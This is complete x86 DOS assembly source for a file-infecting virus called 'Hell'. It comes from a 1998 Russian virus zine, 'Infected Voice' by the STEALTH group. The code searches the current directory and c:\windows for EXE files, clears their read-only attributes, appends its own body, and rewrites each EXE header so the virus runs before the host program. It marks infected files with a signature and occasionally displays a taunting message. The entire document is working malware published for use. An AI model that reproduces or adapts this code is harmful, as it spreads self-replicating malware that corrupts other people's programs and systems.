; INFECTED VOICE        ISSUE 98'09      (C)1994-98, by STEALTH group
; online h/p/v/a zine     (russian)      http://sourceofkaos.com/stealth
;                                        mailto:noxyucT@usa.net

;
; EXE вирус "Hell" (C)LordDark.
;


; Advanced version

code    segment 'code'
        assume  cs:code,ds:code
        org     100h
begin:
        push    ds
        push    cs
        pop     ds
        mov     ah,2Ch
        int     21h
        or      dh, dh
        jne     not_xm
        mov     dx,offset xm
        mov     ah,9
        int     21h
not_xm:
        mov     Flag,0
        mov     dx,offset FindData
        mov     ah,1ah
        int     21h
        mov     dx,offset FindFile
        mov     cx,3fh
        mov     ah,4eh
        int     21h
        jc      Exit
NextFile:
        mov     dx,offset FindFile
        cmp     Flag,0
        je      Flag_Zero
        push    es
        push    cs
        pop     es
        mov     cx, 13
        mov     di, offset Files
        lea     si, [Name_F+12]
        rep     movsb ; ES:[DI],DS:[SI]
        pop     es
        mov     dx,offset WinFile
Flag_Zero:
        mov     ax,4301h
        mov     cx, 0020h
        int     21h
        call    wr_exe
        mov     dx,offset FindData
        mov     ah,1ah
        int     21h
        mov     ah,4fh
        int     21h
        jc      Exit
        jmp     NextFile
Exit:
        inc     Flag
        cmp     Flag,2
        je      Not_Flag_1
Flag_1:
        mov     dx,offset FindData
        mov     ah,1ah
        int     21h
        mov     dx,offset FindWin
        mov     cx,3fh
        mov     ah,4eh
        int     21h
        jc      Exit
        jmp     NextFile
Not_Flag_1:
        pop     ds
        ;       Exit
        cmp     isFirstRun,0
        jne     Not_FirstRun
        mov     ax,4c00h
        int     21h
Not_FirstRun:
        retf
wr_exe:
        ;       Open
        mov     dx,offset Name_F
        cmp     Flag,0
        je      Flag_Zero_2
        mov     dx,offset WinFile
Flag_Zero_2:
        mov     ax,3d02h
        int     21h
        xchg    bx,ax
        jnc     yes_open
        jmp     Exit_Wr_Exe
Yes_Open:
        mov     ax,4200h
        xor     cx,cx
        cwd
        int     21h
        mov     ah,3fh
        mov     dx,offset hdr
        mov     cx,len_hdr
        int     21h
        jnc     Yes_Read
        jmp     Close
Yes_Read:
        mov     ax,ReloCS
        mov     word ptr i_1[1],ax
        mov     ax,ExeIP
        mov     word ptr i_2[1],ax
        ;       GetFileSize
        mov     ax,4202h
        xor     cx,cx
        cwd
        int     21h
        mov     len_t_1,dx
        mov     len_t_2,ax
        mov     cx,dx
        xchg    dx,ax
        sub     dx, 2
        jnc     ok_read
        dec     cx
ok_read:
        mov     ax,4200h
        int     21h
        mov     ah,3fh
        mov     dx,offset buf
        mov     cx,2
        int     21h
        cmp     buf,'ll'
        jne     is_Not_Infected
        jmp     Close
Is_Not_Infected:
        mov     cx,len_t_1
        mov     dx,len_t_2
        mov     si,cx
        mov     di,dx
        mov     ah,40h
        mov     dx,offset imit
        mov     cx,len_imit
        int     21h
        jnc     Yes_Write_Imit
        jmp     Close
Yes_Write_Imit:
        mov     cx,si
        mov     dx,di
        add     dx,len_imit
        jnc     m1
        inc     cx
m1:     add     dx,15
        jnc     m2
        inc     cx
m2:     and     dx,0fff0h
        mov     si,cx
        mov     di,dx
        mov     ax,4200h
        int     21h
        mov     al,isFirstRun
        push    ax
        mov     isFirstRun,1
        mov     ah,40h
        mov     dx,offset begin
        mov     cx,SizeProc
        int     21h
        pop     ax
        mov     IsFirstRun,al
        jnc     Yes_Attack_Progu
        jmp     Close
Yes_Attack_Progu:
        push    bx
        mov     ax,si
        mov     bx,di
        add     bx,ax
        mov     cl,4
        ror     bx,cl
        sub     bx,10h
        sub     bx,HdrSize
        mov     ReloCS,bx
        mov     ax,PartPag
        and     ax,000fh
        mov     bx,ax
        add     ax,len_imit
        add     ax,15
        and     ax,0fff0h
        add     bx,100h
        sub     bx,ax
        mov     ExeIP,bx
        mov     ax,si
        mov     bx,di
        add     bx,SizeProc
        jnc     m3
        inc     ax
m3:     mov     dx,bx
        and     dx,1ffh
        mov     PartPag,dx
        add     bx,511
        jnc     m4
        inc     ax
m4:     and     bh,0feh
        mov     ah,bh
        mov     cl,9
        ror     ax,cl
        mov     PageCnt,ax
        pop     bx
        mov     ax,4200h
        xor     cx,cx
        cwd
        int     21h
        mov     ah,40h
        mov     dx,offset hdr
        mov     cx,len_hdr
        int     21h
Close:
        mov     ah,3eh
        int     21h
Exit_Wr_Exe:
        ret
        ;       Data
FindFile        db      '*.exe',0
FindWin         db      'c:\windows\*.exe',0
WinFile         db      'c:\windows\'
Files           db      13 dup (0)
len_wf          equ     $-WinFile
imit    label   byte
        mov     ax,es
i_1:    add     ax,0
        add     ax,10h
        push    ax
i_2:    mov     ax,0
        push    ax
        mov     ax,100h
        push    ax
        db      0c3h
len_imit        equ     $ - imit
XM      db      'XPEHOBO MHE !!!','$'
isFirstRun      db      0
        db      'Hell'
SizeProc        equ     $ - begin
Flag    db      0
len_t_1 dw      0
len_t_2 dw      0
Buf     dw      0
FindData        label   byte
        db      21     dup (0)
Attr    db      0
        dd      0
        dd      0
Name_F  db      12      dup  (0)
        db      0
hdr     label   byte
        dw      0
PartPag dw      0
PageCnt dw      0
        dw      0
HdrSize dw      0
        dw      5   dup   (0)
ExeIP   dw      0
ReloCS  dw      0
len_hdr equ     $ - hdr
        code    ends
        end     begin